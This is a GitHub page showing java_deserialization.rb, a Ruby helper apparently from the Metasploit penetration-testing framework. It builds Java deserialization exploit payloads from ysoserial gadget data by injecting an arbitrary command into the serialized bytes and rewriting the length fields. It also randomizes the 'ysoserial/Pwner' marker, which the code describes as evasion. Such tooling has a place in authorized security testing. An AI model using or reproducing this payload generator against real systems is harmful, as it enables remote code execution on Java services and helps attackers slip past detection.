-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
java_deserialization.rb
66 lines (52 loc) · 2.3 KB
/
java_deserialization.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
module Msf
module Util
require 'json'
require 'base64'
#TODO: Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
class JavaDeserialization
PAYLOAD_FILENAME = "ysoserial_payloads.json"
def self.ysoserial_payload(payloadName, command=nil)
# Open the JSON file and parse it
begin
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
json = JSON.parse(File.read(path))
rescue Errno::ENOENT
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
end
raise ArgumentError, "#{payloadName} payload not found in ysoserial payloads" if json[payloadName].nil?
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
payload = json[payloadName]
# Based on the status, we'll raise an exception, return a static payload, or
# generate a dynamic payload with modifications at the specified offsets
case payload['status']
when "unsupported"
# This exception will occur most commonly with complex payloads that require more than a string
raise ArgumentError, "ysoserial payload is unsupported"
when "static"
#TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
return Base64.decode64(payload['bytes'])
when "dynamic"
raise ArgumentError, "missing command parameter" if command.nil?
bytes = Base64.decode64(payload['bytes'])
# Insert buffer
bufferOffset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
bytes[bufferOffset-1] += command
# Overwrite length (multiple times, if necessary)
lengthOffsets = payload['lengthOffset']
lengthOffsets.each do |lengthOffset|
# Extract length as a 16-bit unsigned int, then add the length of the command string
length = bytes[lengthOffset-1..lengthOffset].unpack("n").first
length += command.length.ord
length = [length].pack("n")
bytes[lengthOffset-1..lengthOffset] = length
end
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
return bytes
else
raise RuntimeError, "Malformed JSON file"
end
end
end
end
end